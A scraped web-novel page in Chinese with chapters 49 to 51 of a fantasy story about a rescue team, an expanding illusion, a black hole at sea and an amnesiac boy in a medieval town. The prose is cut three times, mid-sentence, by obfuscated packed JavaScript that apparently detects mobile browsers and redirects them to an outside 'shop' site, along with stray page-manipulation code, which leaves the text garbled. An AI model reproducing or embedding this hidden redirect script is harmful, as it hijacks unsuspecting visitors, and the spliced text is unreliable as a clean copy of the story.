l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14505483|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 废掉了，不可能再有什么仪器能亮灯，但是她看到了……一道极弱的光，穿透迷雾与黑暗，以一种特殊的频率明明灭灭。 那应该是曾经实验室的温控提示灯，傅秋语试着猜测。 小红掏出纸笔递给她，傅秋语看着纸笔，脑海中逐渐浮现出一个模糊的人脸。 那个人温热的手掌包裹着她的手，那张像是被风与花亲吻过的美丽的脸微微地笑着，双眸温柔地注视她…… ……她也曾被这么温柔地对待过吗……？ 傅秋语的头又疼了：“……祁煜？……怎么没有来？” 小红：“你又想起来了？他啊……不知道在哪个河里晕着呢。这地方的规则就是只能醒一个人，你醒着，他就得晕着。” 傅秋语：“河里？！” 小红：“放心啦，河水是淹不死人鱼的。” 傅秋语震惊了：“人鱼？？”她隔着头罩捧着头：“我其实真的已经疯掉了吧？” 祁煜：…… 她的记忆再这么错乱下去，他也要疯掉了。 傅秋语脑子虽然瓦特了，但该派上用场时还是靠谱的。 救援队那边的信号穿过幻境的迷障，像一根线，将迷失在幻境中的人的意识重新牵引回到现实。 【老天！发生了什么？你们还活着吗？我很担心，如果还活着，请尽快回复信号！】 那边很急迫，信号不间断地重复发了很多遍。直到傅秋语回复消息，那边才停下。 【是，我们还活着。怎么了？】 【天，看来你们还没有发现。就在十分钟之前，你们所处的整座岛，在我们面前整个消失了！】 傅秋语：？？ 祁煜：？？ 傅秋语看向小红：“什么情况？” 小红：“这个幻境在向外扩张。看来，已经影响到了他们那边。” 傅秋语：“这也是能扩张的？？” 而且救援队距离他们起码二十海里，竟然能扩散到那么远？？ 十分钟之前……这个时间，是不是她看到天上有东西亮了一下的时间？ 所以，那应该是幻境发生变化的信号，不是她的错觉。 傅秋语快速地瞪了一眼低头装死的小红。小红知道很多事，但不能告诉她，也许这种变化与让她得到力量有关？ 她迅速做出判断，发出信号—— 【如果你们还能看到自己的船，并且船没有发生故障。现在，立即后撤！】 她发出信号后，明显感受到对面沉默了很久。 接着，她收到了回复—— 【救援队没有在危急时刻丢下任何一名遇难者独自逃生的道理，这有悖我的信仰。先生，女士，你们猜得没有错，前日被我们救下的两位先生，真的有问题。】 49.049 提到仇人，傅秋语脑瓜子又不糊涂了。 小红本来还准备给她解释一下救援队说的是谁，谁知道它刚说了两句就被傅秋语打断了。 傅秋语十分清醒地说：“不用了，我记得，那两个被救援队捞上来的老小子，果然露出了马脚。” 小红：…… 祁煜：…… 我勒个24k纯恨战士，什么都可以不记得，但是仇一定记得。 ——【昨日我们结束联络后，安迪照例去检查船上的设备，却被齐格先生拦住——就是那两个被我们救下的先生中的一位——他忽然问起你们的情况。由于被你嘱咐过，安迪并没有透露。 今早安迪和我说，他给你们准备的物资被动过。于是我们调动了监控查看，发现昨晚我们打信号时，他们也在船桅处记录下了代码。 中午时，齐格先生又问起我最近有看什么书。回房间后，我发现我的书架有翻动的痕迹。哈哈，没想到吧，我的书可多了，找不出来吧！这卧底水平太次了，一点都不像电视里演的那样精明。】 傅秋语：【他们之所以那么急，八成是因为他们布置在海岛的内应被我干掉了，现在他们没法收到岛内的信息。】 ——【还有内应？老天，你们到底招惹了什么人？】 【你知道一个叫“彼岸”的组织吗？这是我从内应嘴里问出来的。】 ——【“彼岸”……没听过。我猜八成是什么见不得人的黑灰色组织又在搞阴谋诡计。所以你们是已经除掉岛上所有内应了？】 【不错。在它们口中，我得知从现在算起的两天后，彼岸会派人来回收我。我想，那位齐格先生和他的同伴就是接应，你们很危险。 现在岛上异能量爆发，这就是整座岛在你们眼中消失的原因。后续爆发范围还会扩散，我也不知道之后会发生什么……德雷克队长，你们还只是在边缘，现在撤退还来得及。 人活在世，首先应保全自己……我能理解。】 ——【安迪向我报告，救援船上的设备一切正常，没有故障。我们这里一切都好。 今天你们回复信号的速度变慢了很多，是因为少了一个人，对吗？现在和我联络的人是哪位？可以告诉我岛上到底发生了什么吗？ 无论是谁，都请先冷静下来。我们海上救援队无论什么时候都以拯救遇难者的生命为己任，拯救你们是我们的责任、义务和信仰。】 傅秋语绷紧了嘴角。 她手中的笔被她捏得嘎吱响，祁煜感觉她的胸口很闷，似乎有什么情绪呼之欲出，却又被她强行压抑下去。 傅秋语回复：【我是加西娅。俞启……失踪了，我这里情况很复杂，难以用一两句来描述。】 ——【我明白，这股爆发的能量很不同寻常，船上所有的能量检测装置都没有反应。 我们先互通一下视角吧。我现在看不到海岛，海岛整个消失了，我只能看到茫茫的V.E物质海洋。你的信号在我们眼里，是很多个红色的V.E色块组合在一起发光。我想这次能量波动应该与V.E物质有关，而不是我们经常见到的流浪体。你那边呢？】 小红给傅秋语递稿纸，结果她半天没有接过去。 抬头一看，发现她似乎有些心不在焉。 她抠着石板上的墙皮，以一种晦暗的目光看着浓雾深处不断亮起的绿灯。 小红看她并没有着急回信号，便趁着间隙问：“刚刚你为什么要那么说？……我们还需要他们，万一他们真的撤退了……” 傅秋语烦躁地说道：“我让他们撤退，就是为了不让他们撤退。” 小红：“？” 傅秋语：“这局已经很清晰了，明眼人都能看出来，他们已经被卷入阴谋家的棋局中。彼岸的人一来，他们极有可能被灭口。” “再者，V.E能量展开的幻境在不断扩张，谁也不知道之后会发生什么。别忘了这里本土还有个星球磁场，他们完全可以把本土的异能量和V.E能量画上等号……这两者都不是普通人可以承受的。” 小红：“所以你是故意那么说，从而刺激他们作为救援队的责任感，防止他们跑路？……那你目的达到了啊？怎么还这么焦躁？” 傅秋语：“……我不知道。” 她想抓头发，结果一伸手又碰到了面罩，她烦躁地一拳头砸向石板。 效果很好。心里堵着的那口气总算发泄出来了。 她拿过稿纸，想了想，回复道： 【我从今早开始，就一直在各种幻象中穿梭，同伴也和我分开了。我虽然在东海岸，但我看不到大海，我的眼前只有一片建筑废墟，你们的信号则是废墟中的某个仪器的指示灯。 老实说，我的记忆很混乱，在接收到你们的信号之前，我一度怀疑我已经疯了。或许明天的这个时候，我已经彻底迷失在幻象中，不再记得现实中的一切。所以一些重要的事，就在今天交代完毕吧。】 ——【……我很遗憾，不能在此刻为你做些什么。但从我们短暂的交流中，我能感受到，你是一位聪明坚强的女士，请务必打起精神，你的人生就像刚盛开的花一样，还不能在此处凋落。 接下来由安迪和你联系，有需要直接向他提就行了。】 ——【我是安迪，你好。昨天提到的方案，我们交流一下。尽可能在今天敲定，这样即使明天你忘记一切，我们的计划依旧能推进。】 对面开门见山，傅秋语也不耽误时间，直奔主题。 【我在这岛上发现了彼岸的实验基地，这个基地起码废弃了十年，在基地中，我发现一种材料对V.E物质具有高抗性，它在长达数小时的接触中完全没有被V.E物质同化。它叫“神经纤维聚合Ⅶ型结晶”。】 ——【令人震惊……我以为这是一场类似于深空裂变那样毫无预兆的天灾，没想到居然有人在十年前就研发出针对V.E物质的高抗材料……能有这手笔，来头定然不小。今日风向合适，你可以用救援箱运一些这种结晶过来吗？】 傅秋语的手指在石板上敲击。 她忽然意识到，这又是一场真诚与信任的赌局。她和“俞启”的赌局是假的，但这次是真的。 把这种结晶带出去，带到全世界的目光下，可比拿来救她和祁煜有价值多了。只要运作得当，逆袭人生吸金亿万走上人生巅峰也不是没有可能。 ……她不信任除自身之外的任何人，但是自从穿越后，她总是一次又一次地面对这种问题。 倘若她有资本，稍微赌一下也无所谓。可命运这种东西，就是喜欢戏弄没有资本的人。 她的本金少得可怜，除了自己和祁煜的命，她一无所有。 但赌局中，没有底牌的人未必一定会输。当已经没有东西可以失去的时候，主动出击就是唯一、也是最好的选择。 傅秋语想了下，稍微改了下原计划。 她让小红将原本计划送过去的结晶，在不影响计划实施的前提下取出一部分，然后回道： 【即使你不说，等会儿我也打算这么做。但是请注意，这种结晶存量很有限，我只能给你们一部分，还有一部分我要预留做备用计划。】 这样，就算他们想要飞黄腾达奔钱程，也会有一定概率出于贪念选择冒险登岛取走她这里的结晶。 而且，她确实预备了B计划。 只是双层木筏的设计本意是在没有外部涂层的情况下，以结构在一定程度上抵抗V.E物质的侵蚀，只要能够支撑到他们划到救援船就是胜利。 但现在她改主意了，这个木筏还有优化的空间。 傅秋语冷漠地、嗤笑地、近似于刻薄地说：“嘴上说得再好听，也要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14516433|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实际做得到才行。” 她已经见多了满嘴都是主义，心里都是生意的垃圾了。 她和救援队非亲非故，她既然做不到信任他们，那就采取一些小手段给自己一个保障。 ——【我理解，你的处境很危险，当然，我们也是，我已经理解你的悲观的源头，B计划的确很有必要。 既然有更好的选择，我原本预备的方案也没有提的必要了。我想知道，你打算怎么利用这个高阻抗材料？我一时间没有思路。】 【既然我们是同道中人，那我说的话你应该都能懂。V.E物质的侵蚀性，让我想起金属材料在盐碱水中的腐蚀现象，一般工程中会采用外部涂层解决这种问题。这种高抗材料在我找到的时候，就已经是粉末状，我想可以正好可以它做外部涂层。】 ——【我明白你的意思了。我因为平时喜欢动手做一些装置，这里存有一些高固体份涂料，正好拿来做涂层，涂在我们应急的小船上。 时间很紧，我没法保证涂层的质量，而且V.E物质同样会侵蚀涂料中的非高抗材料，只是相较于一般物质，侵蚀的速度会有所延缓，所以我们的行动也要快。 我们会将船向后开一点，离开能量爆发的区域，确保逃跑的时候不会有故障。只等涂层凝固，队长和我就去接你们。预计时间为一天。 鉴于你刚刚说的幻象，我很担心等到了明天，你真的会不记得我们。而我们届时已经深入幻象去寻找你们，请给我们一个可以辨认的特征，方便我们找到你和你的同伴。】 傅秋语思考，一个可以辨认的特征，必须非常显眼…… 正当她思考的时候，一声洪亮到令人大脑震颤的钟声，从雾的深处传来。 “咚——！！！” 森冷的风骤起，卷起她的发丝。 她抬眼看去，四周的雾开始以她为中心旋转，速度越来越快。废墟中的石块开始不断地跳动、震颤，一些较小的石块脱离地心引力，飞向高空。 救援队原本还算清晰的信号光，瞬间变得断断续续。 她立刻意识到，幻象要正式发生变化了。 她抓紧时间，向救援队发出最后的信号：【红羽毛！！】 刚发完这段，傅秋语就觉得脑袋一懵，她紧急和小红嘱咐了几句，然后就晕了过去。 * 男孩睁开眼睛。 刚一睁眼，蹲守在他旁边的几只乌鸦瞬间被惊飞。一只乌鸦因为离他脑袋太近，翅膀甚至扇到了他的脸。 他有些茫然。 铅灰色的乌云下，那几只乌鸦低低地在上空盘旋，发出觅食失败的哀鸣。四周枯树的枝杈如同狰狞的手，徒劳地伸向天空。 旁边，是一排十字架……墓地？ 他怎么会在墓地中醒来？ 男孩从地上坐起来，仔细回忆自己为什么会在这里…… 一片空白。 他低头打量自己—— 他穿着小小的、做工精致的藏蓝色西装套装，打扮得像是什么贵族，但是脏兮兮的，那白色的长袜子都快脏成灰色的了。 他的胸前，别着一枚红羽毛胸针…… 一股强烈的违和感涌上心头。 他……是谁？ 男孩皱起脸，冥思苦想。他的记忆，好像盖上了一层厚厚的雾…… 他握拳给自己鼓劲：“加油，我一定能想起来！” 或许是他想要想起来的心情太强烈，那枚红羽毛胸针散发出明亮柔和的光芒，男孩被这道光芒吸引了注意力…… 渐渐地，记忆的浓雾中，浮现出一个女孩模糊的身影。 ‘小鱼~小鱼~~’ 男孩恍然大悟：“原来我叫小鱼！……噫，好潦草的名字，我就叫这个？” 接着，他又疑惑了，“但她又是谁呢？” 50.050 ——【红羽毛！】 发完最后的信号，海面上那个巨大的红色方块像是收到了什么重击，顷刻间分崩离析，化作一个个小方块落入下方奔涌的马赛克之海，消失不见。 船长室中，安迪怔了怔。 “信号断开。” 这情况，只能是她那边又遭遇了什么意外。 德雷克仿佛自己遭到意外，锤着桌子发出哀嚎。 这货人高马大，肌肉壮硕，浓眉大眼，妥妥一阳光开朗大男孩，但是此刻皱着鼻子眉毛哀嚎的样子，比小姑娘还小姑娘。 安迪瞅他一眼，立刻感觉被辣到了眼睛，难绷地闭了闭眼，说道：“你动静小点，都已经当队长了，怎么还这么不稳重？” 德雷克是海事局最年轻的救援队队长，不到三十就已经带队出任务。 为了服众，他对外就人摸狗样的端着队长的架子，但是面对这位一直扶持自己的前辈兼老友，他根本装不了一点。 德雷克：“我就是不稳重啊！！” 安迪一丝不苟地将代码纸收集到一起，回道：“你的官方用语有必要再学习一下。要不是我看着你，在旁边给你改遣词用语，你现在在加西娅女士眼里和智障没区别。” 德雷克挠头，苦着脸：“官话很无聊诶，我能不能不学？……哎，加西娅女士真的好惨，本来身体就柔弱，还和同伴分开了，她应该很惊慌很无助，不知道怎么办才好……忽然想起来岛上还有毒蛇猛兽，她一定是假装坚强和我们联系实际偷偷用手绢抹眼泪天哪我居然不能立刻带她离开我真是个不称职的队长！！” 这货的话太密了，安迪难绷道：“你哪只眼睛看到她惊慌无助了？不要自己瞎脑补，好像自己亲眼看到了似的。” 德雷克很忧郁地远望岛屿的方向：“不过现在急也没用了，只能加紧进度，尽快登岛。” 安迪提醒他：“你最近的情绪有点太满了，你从前不这样。作为队长，你得时刻保持冷静与沉稳。” “是吗……？” 德雷克摸出一块怀表，打开，对着怀表里妻子的照片傻笑，“可能是因为要当爸爸了，最近稍微感性了一点点。” 安迪：“这不是‘一点点’的问题。” 德雷克握拳：“丽娜，加油！” 安迪大摇其头：“沉浸在爱情中的男人真可怕。” 德雷克：“哎，你不懂。说起来，你也老大不小了，一提到对象你就这个表情，你就从来没为自己的后半生考虑考虑？” 安迪：“没兴趣。” 他点燃稿纸，火光描幕着他年过四十依然温润儒雅的侧脸。 那琥珀色的眼睛里两团火光跃动，似乎有什么东西在他的心里蛰伏着，呼之欲出。 德雷克拍拍他的肩膀：“你师妹都失踪二十多年了，可能早就……你就别再等她了，人总是要向前看的。” 安迪：“都说了不是……” 他刚要说出那句他重复了无数遍的话，忽然之间，一股巨力猛然撞上船体。 轰然一声，钢铁舰船发出巨响，在那在一瞬间的令人感到灵魂都在与舰船共振的震荡后，世界，倾斜了—— 由于大海中风浪大，船长室的桌椅都是固定式的焊在地面，倒地的两人抓住桌子凳子，才保证自己的身体不会被甩飞到墙上。 舰船驾驶室里视野很好，无声绚丽的流光如绽放的烟火般照亮了黑夜，两人于震惊中抬头。 一个无比巨大的、绚丽的圆环，赫然出现在海面上！ 安迪从地上匍匐着站起来，冲向操作台。 德雷克看老友像忽然发疯了一样不顾性命，急得大喊：“安迪，趴下！” 安迪双手抓住操作台扶手，震撼地看着眼前的一切—— 黑洞。 一个黑洞，出现在海上。 它疯狂地吸入一切V.E物质，这一整片海域中的V.E物质都避无可避地向一个奇点飞速旋转、坍缩，海面上形成一个无比明亮、绚丽、巨大的吸积盘，仿佛在向这个世界宣告着某个存在的横空出世。 巨量的水汽与V.E物质分离，以V.E物质被吸入同等的速度反方向冲出，大海上空瞬间喷涌出巨量浓雾。 嘎吱—— 船只由于在V.E范围之外，因此被卷入的可能性不大。 但黑洞搅动了一整片海域，在范围之外的船只也避无可避的随着涌动的海水洋流向着黑洞靠近。 而喷涌而出的水汽，也在瞬间淹没了这艘舰船。 巨大的钢铁船舰在此刻巨浪滔天的大海中，宛如一片微不足道的落叶。 船锚将舰船死死固定在海上，翻滚的巨浪冲上舰船，外面一团糟乱。 德雷克从地上爬起来，冲向电台，对着麦克风向全体人员发出指令：【全体人员注意，前方VE海域出现异象！全体人员就近找固定物体抓好，等风浪过去，别让我看到有谁鼻青脸肿的，否则全体加训一个月！】 刚说完这话，就听到外面传来不知道哪个倒霉鬼的惨叫。 德雷克一拳头锤到地板上，爆粗：“他奶奶的！” 在整个舰船的人员都陷入一片混乱时，两个装逼犯穿着同款黑风衣，扶着桅杆，在狂风巨浪中大笑。 齐格拥抱狂风，他阴鸷的三角眼中爆发出狂热的光：“她果然和那个猎人一样，乍一眼平平无奇，但只要稍微一施压，会爆发惊人的力量！设置七天的观察期还是很科学的嘛！” “——这是救世主的力量！……哈哈哈哈哈哈哈哈哈！神！神啊！！你的福音，您最忠诚的信徒已经收到了！！” 另一个人冷眼看着，他肤色苍白地像个死人，面无表情地说：“观察期结束，回收目标。” 齐格砸了砸嘴，一脸扫兴道：“你怎么一点反应都没有？果然从那老家伙实验室里出来的都已经丧失人性了。” “任务还没有完全结束，你高兴的太早了。” 齐格：“嗯……也对，我们这位救世主脾气不太好，闹的这动静么……”他半是赞叹半是头疼道：“也是相当惊人。” 他从衣服里拿出一个玻璃瓶，那里面睡着两只彩色小花生。 他晃了晃玻璃瓶，说道：“孩子们，我们的救世主已经苏醒。为了彼岸，为了这个美好的世界，迎接救世主回家吧！” 瓶中小人瞬间清醒，它们从玻璃瓶中爬出来，跳到大海中。 没过一会儿，汹涌的海浪中就浮上了两只流浪体——一只弥斯特，一只磷龙。 磷龙煽动巨大的翅膀，载着弥斯特飞向黑洞。 它们的体型实在太巨大了，一出现就引起了骚动，船上的警报器也开始发了疯的报警。 齐格掏了掏耳朵，笑着问另一个人：“你的弟弟妹妹都去了，你怎么不去？炽、天、使？” “啊，难道是你的信仰不够坚定，怕进了黑洞有去无回？……哈哈，你不行哦！作为长子，不应该起以身作则吗？” “……我听到狗在叫。”炽天使翕动僵硬的嘴唇，吐露出讥讽的语言：“一只，EVER的狗。” 齐格十分失望地说道：“果然狗的眼里看谁都是狗……哎！也不能怪，怎么能要求狗子理解人类的理想呢？” 他拿出一个控制器，按下按钮。 ‘炽天使’顿时闷哼一声，半跪在地上。 齐格哈哈大笑，一脚踩在他脸上，“你这条……会噬主的恶犬！咬死了前主人，怕不是还惦记着咬死现任的。如果不是EVER还用得着你们，好心收容，真以为这世间容得下你们这种又恶心又没忠诚度的怪物？” “给我老实点！别忘了，你的狗链子还攥在我手里。不光是这个抑制器，还有你的怪物天使家族。” 他嗤笑着用鞋底碾着‘炽天使’的脸，“嘿哟哟，毕竟是长子呢，家族羁绊什么的……呜呜呜，真令人感动！” “呕……好臭，你这个身体已经烂了，换一个，赶紧的。正好该收网了，把这个船上的人都杀了，一个不留。” 齐格轻描淡写地说道，说杀人仿佛在说拍掉衣服上的灰一样。他终于把鞋底从‘炽天使’的脸上移走，然后…… 嗤—— 有什么东西叮了他脖子一下，凉凉的。 齐格疑惑地抬手摸了摸脖子，摸到一个针管。 世界即刻倾倒。 在渐渐暗下的视野中，他看见不远处高台上，那个名总是沉默着做自己的事的名叫安迪的男人，端握手中的麻醉枪。 他的枪法准得令人震惊，在如此动荡的空间中，再加上视野中不断地有浓淡不一的水雾干扰，他居然还能精准地将麻醉针射到他的脖子上。 咻—— 又是一枪，正中炽天使。 “妈的……居然……被摆了一道……” * 小鱼站在一座墓前。 他看着墓碑，神情肃穆。 这座墓，和其他所有墓画风都不一样。 比如其他墓碑上面都有十字架，但这个墓碑上没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14529518|153048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 比如其他墓周边都长了草，但这座墓四周干干净净，墓碑上连个灰尘都没有。供台上不但有水果，还有新鲜的花束。 墓碑上贴着墓主人的照片，还有生卒年……哇，死的时候还很年轻呢，才五十多。 照片中的男人五官硬朗，相貌清正，花白的头发一丝不苟地梳到脑后，带着一副眼镜，看起来像个学者…… 啊，还真是。 小鱼托着下巴，念道：“恩师陈革之墓……傅秋语立……傅秋语？” 这个名字很熟悉，男孩喜上眉梢，打了个响指：“我就说我肯定不是没有过去的人！” “她一定知道我是谁，我找她问问去！” 总算找到目标了，小鱼拍拍衣服上的灰，高高兴兴走出墓地。 一出墓地就遇到一伙人架着什么东西呼拥着过去了，小鱼看到他们穿着中世纪的衣服，脑子里缓缓打出一个问号…… 啊这？……现在……是中世纪？ 总觉得哪里不对？？ 他追上人群，拉住队伍最尾端的一个妇人，问：“大娘大娘，你认识一个叫傅秋语的人吗？” 大娘立刻眯起眼睛审视他：“啊……我当然认识她，我是她大姨。你是她什么人，找她做什么？” “啊？我……” 男孩没想到刚出墓地这么快就找到人亲戚头上了，这速度也太快了，他还没想好找人的理由呢。 大娘一脸警惕地看他。 小鱼陷入头脑风暴。 如果他说自己是傅秋语哥哥，肯定会被当场识破。 如果说是她同学，这非亲非故的，大娘恐怕不会搭理他。 那么既关系亲近，又不会被大娘当场识破的身份只有…… 诶！他想到了！ 小鱼眨了眨纯洁的眼睛，瞎话张嘴就来：“我是她指腹为婚的未婚夫，我家里遭了难来投奔她，希望她不要嫌弃我一贫如洗，待我十八年后一定会努力偷电瓶养活她和我们这个家的！” 大娘：“？” 她直接给气笑了，“哪里来的小疯子？说！你信仰我主吗？” 小鱼：“煮？什么煮？关东煮？” “好啊老娘一看你就是异教徒，果然和傅秋语一起的都没好东西！” 她五大三粗的膀子一把拽住小鱼，转头冲着队伍吆喝：“大伙儿快来，又被我抓住一个异端！这小子和傅秋语认识，我们快把他抓起来关到教会！” 小鱼大惊：“妈呀你们这是干嘛？别碰我！我不问了还不行吗？哈哈，你们都误会了，我不认识她，真的不认识，我只是路过讨口子的！要饭也犯法吗？快放开我！” 一群人一拥而上给他捆了起来，他被一个高大的带着三角头的壮汉扛在肩膀上，小鱼一脸晦气地瞪着人群。 人群把他料理了，又簇拥着什么东西离开了。 视野高了，小鱼总算看清他们到底簇拥着什么了。 ——他们居然用轿子抬着一块平平无奇的石头。 “什么鬼，他们有病吧？” 三角头壮汉似乎是看了他一眼，小鱼小心地和他打商量：“大哥，要不你把我放下，我免费给你去头罩上的铁锈？” 壮汉：…… 他扛着小鱼，向教会走。 十分钟后，骂了一路的小鱼抵达教会。此刻的教会在小鱼眼里不是教会，而是一座露天监狱。 “你们这里的人都有病！我不过就是问个人而已就给我扣个异端的帽子，那也难怪毕竟我是正常人，狂热邪教分子当然看谁都是异端！我看这教会肯定也不是什么正经教会！肯定是那种会吃小孩的邪教大本营！” 他逼逼叨叨地骂，壮汉直接拎住他的后衣领。 小鱼：“啊别——” 他被水灵灵地丢了出去，丢进教会的大门里。 就算是怪物，被人贴耳骂了十分钟，也略感耳朵疼。 小鱼像条大鲤子鱼在地上berber乱蹦了两下，终于挣扎着坐了起来。 一抬头，几个神职人员站在他面前，七嘴八舌地交谈。 “异端。” “异端。” “是异端。” “但他还小，可以教化。” “交给陈教授，教化幼童这种工作，是他负责。” “同意。” 于是，四个小时后，小鱼臭着脸出现在教会监狱中的学堂里。 他怨气冲天地对着教室里的孩子们说：“谁是傅秋语？” 51.051 刺头儿聚集的地方就是吵，教室里的孩子们没有一个好好待在自己位置上。 有的在展示歌喉，有的三五成群地聚在一起聊天，甚至还有个在打架，一个长得很可爱的带着粉色兔耳发带的女孩子骑在一个胖男生身上大嘴巴子哐哐扇。 “欺负人是吧！欺负人是吧！再让我看到你欺负同学老娘把你屎揍出来！哭！大声点！没吃饭吗！” 小鱼嘴角抽搐。 忽然感觉这群人被关在这里接受改造不是没有原因的，连在监狱里都这么有松弛感，在外面岂不是上天？ 他深吸一口气，气沉丹田，再一次重复：“谁是傅秋语！！” 这嗓子太有穿透力，教室里仿佛按下了暂停键，安静了几秒钟。 学生们纷纷转过头看他，看到是个新来的倒霉鬼，喧闹声又逐渐像潮水一样铺开。 那个打架的女孩子从胖男生身上起来，想想不解气，又回头踹了一脚，然后向教室前走过来。 正当小鱼心头一凉，以为这就是他要找的人，结果那女孩径直走向了教室里其中一坨聚在一起小团体里，从人群里挖出一个男孩…… 啊不是？是个女孩，但是穿着男孩的制服？ 吓死，差点以为自己忽然成彩虹鱼了。 她之前一直趴在桌上，被周围的人挡着，如果不是那女孩把她挖出来，他根本发现不了。 女孩睡眼惺忪，看了好友一眼，又趴回桌上，有气无力地问：“昭昭，你干嘛……” 昭昭：“不是吧小语，旁边这么吵你还能睡啊？快醒醒，有人找你。嘿，长得还挺好看。” “……”小语不情不愿地起来，无精打采地掀开眼皮，瞅了来人一眼。 她揉了揉短发，把翘起来的刘海按回去。 镂空的金属网格将天空分割成一小块一小块，也将教室里的阳光切割成一片一片，相貌精致美丽的男孩穿过斑驳的光影，拨开喧闹的人群，在小语桌前站定。 他有着一双冷漠而美丽的眼睛，如夕阳落入海面的最后一抹余晖。只要见到他第一眼，就知道他的来历肯定不简单。 小鱼居高临下地抱臂打量她，表情似乎很不满意，小语托着下巴，在对方的目光下平静地审视他。 阳光将他们的头发照得毛茸茸的，像两只小动物在进行世纪接头。 可惜这俩动物是冷血的，这接头的场面实在算不上温情。 两双同样冷漠的眼睛如尖锐的刀，在对方身上刮了一圈，一股子恨不得在视网膜上装个X射线管好方便他们在第一眼就给对方拍个物理露骨的片子让他们从里到外狠狠审视对方一番。 ……衣物陈旧，短发糟乱，瘦巴巴黑乎乎的，还睁着没精打采的死鱼眼，这个一眼根本看不出性别的假小子居然是他未婚妻？？ 啊不是！ 男孩狠狠拍了下脑门。 这明明是他忽悠大妈的说辞，怎么就把自己给洗脑了呢。 管那么多乱七八糟的，她胸口佩戴了和他同款的红羽毛胸针，反正人肯定是找对了，只要她能告诉他是谁他这辈子都是语吹！他不允许任何人质疑她的品味！ 小鱼冷着脸，气势汹汹地一巴掌拍向小语的课桌，像只食人鱼凶狠地盯着猎物，一股子要咬死她的架势。 小语肩膀一颤，瞪大了眼睛，那双死鱼眼惊得连高光都出来了。 那个叫昭昭的女孩眉头一竖，上去就去抓他衣领，“干什么干什么？想打架？” 小鱼气势汹汹，用一生一次的请求的语气大喊：“请你告诉我，我到底是谁！！” 小语：？ 昭昭：？ 迷茫的倆挚友同时看了对方一眼，小语摇头，意思是她不认识。 昭昭接收到信号，立刻像个老母鸡张着双臂挡在小语面前，隔开小鱼的视线。 她比出那个经典手势，像驱邪一样喊道：“退！退！退！果然长得好看的都是神经病，我们这儿是异端收容所不是精神病院，脑子有问题出门左转去医院挂号，找小语干什么？” 小鱼：“？” 没想到假小子一样的小语是个沉默寡言的乖乖，外表可爱的昭昭却是个暴脾气刺猬。 话说这个小语看起来挺正常的，怎么会被关到这里？ 看在她是小语朋友的份上，小鱼决定礼貌一点说话，他微笑道：“没和你说话，请你一边凉快去好吗？” 礼貌，但只能礼貌一点点。 昭昭额角爆出一根青筋，“她的事就是我的事，她不喜欢和外人打交道，我来代劳，有问题？” 小鱼：“有，她是独立完整的人，应该自己表达意见，你这是越俎代庖。而且我只是问她一个问题，只要她回答我了，我马上就走，绝不多打扰她。” 两人充满火药味的视线在空气中交汇。 不知道为什么，小鱼感觉昭昭的眼里除了怒意，似乎还有股……敌意？ ……明明他们是第一次见面？ 昭昭：“蛤？你小子……” 小语从她身后走出来，一只手按在她肩膀上，安抚地对好友摇头笑了笑。 然后她对小鱼说：“我不认识你，这就是我的回答。” 刚刚还气势汹汹地恨不得和昭昭对喷三百回合的小鱼顿时萎了，他不可置信地哀嚎：“怎么可能！你肯定认识我！！” 他指着胸前的红羽毛胸针：“你看！和你的一模一样！我们肯定是认识的！” 小语愣了愣，低头看向自己的胸针。 两人取下胸针，放在一起比对，还真是一模一样。 造型设计，卡扣材质，甚至连羽毛的长度大小都差不多。 昭昭一脸不屑：“不就是同款胸针吗？说不定是你们在同一家店里买的，难道所有买了同款的都和你认识吗？别太离谱了嗷。” 小语摇头。 她条件反射地按住太阳穴，但是并没有疼痛传来。她愣了下，放下手。 ……刚刚不知道为什么，她居然觉得自己头会痛……但她明明没有头疼的毛病？ 她抬头认真地对小鱼说：“但我真的不认识你。我想……你可能遇到了一些困难？能说说吗？在我的能力范围内，我可以帮你。” 天使……！ 小鱼有些吃惊。 明明外表像个假小子，看起来一副我行我素特立独行的样子，没想到性格这么温和善良？ 小鱼：“啊……我可以说吗？” 虽然嘴上是这么客套着，行动上他却是毫不客气地上前一屁股把昭昭挤走。 小语：“嗯？” 昭昭：？？？ 眼看挚友被挤到了一边，她想把她拉回来，结果小鱼一下就窜到两人中间。 小鱼：“实际 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他盯着她的掌心。 总觉得，这个手掌中应该蹦出个别的东西才是…… 小语茫然地摇头。 小鱼接过胸针，蹙着眉头冥思苦想。 其实他对她也只是模糊地记得一个影子，不过鉴于他忘记了所有人却唯独记得她一个……所以他们的关系应该是很特殊吧？ 到底是什么特殊关系，能够让他拥有和她一模一样的信物呢？ 难道……！！ 他瞪大了眼睛，当场后退三大步，正好撞到了背后的昭昭，在对方“你找死你想打架啊”的呼声中，震惊地捂住嘴—— 不会……真的是指腹为婚的未婚妻吧？！ 这种事情补药啊！他还只是个孩子，这么凶残的设定出现在一个孩子身上真的没问题吗？！ 现在什么年代了，自由恋爱，自由恋爱懂不懂！！ 他被自己的脑补吓得大气不敢出。 小语在冥思苦想后，恍然大悟：“我知道了！看来藏不住了……哼哼~” 小鱼又后退了一步，一整个汗流浃背，偷偷抹汗：“啊……嗯，你、你想起来了吗？” 